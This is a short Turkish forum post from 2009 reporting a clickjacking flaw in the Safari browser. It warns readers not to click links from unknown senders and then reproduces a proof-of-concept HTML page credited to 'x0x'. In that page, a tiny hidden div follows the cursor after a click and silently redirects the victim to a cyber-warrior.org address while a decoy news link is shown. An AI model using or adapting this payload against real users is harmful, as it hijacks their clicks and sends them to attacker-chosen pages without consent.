Safari Web Browser ClickJacking Güvenlik Açığı

tarafından **19JİTEM05** Çarş. Ağus. 05, 2009 11:36 am

Safari Web Browser'larda ClickJacking tespit edildi.

ClickJacking'lere karşı firmaların yama çıkarmadıkça veyahut
güncelleştirme yapmadıkça kullanıcıların dikkatli olması gerektiği
bildirildi.

*Her linke tıklamayın.

*Bilhassa tanımadığınız kişilerden gelen mail,link vs tıklamayın açmayın.

Açıkla ilgili henüz bir güvenlik önlemi alınmış değil.

# Author : x0x

# Vulnerable Type : ClickJacking

#############################################################

< ------------------- header data end of ------------------- >

<html>
<bOdy>
<div id="open"
onmouseover="document.location=’http://www.Cyber-warrior.org/x0x’;"
style="position:absolute;width:8px;height:7px;background:#FFFFFF;border:1px"></div>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById(’open’).style.left=mouseX-2;
document.getElementById(’open’).style.top=mouseY-2;
}
</script>
<center>
<br>
<br>
<a href= "http://www.haber7.com/haber.asp?id=11111" onclick="updatebox(event)"><font
style="font-family:arial;font-size:32px">haber için tıklayınız</font></a>
</html>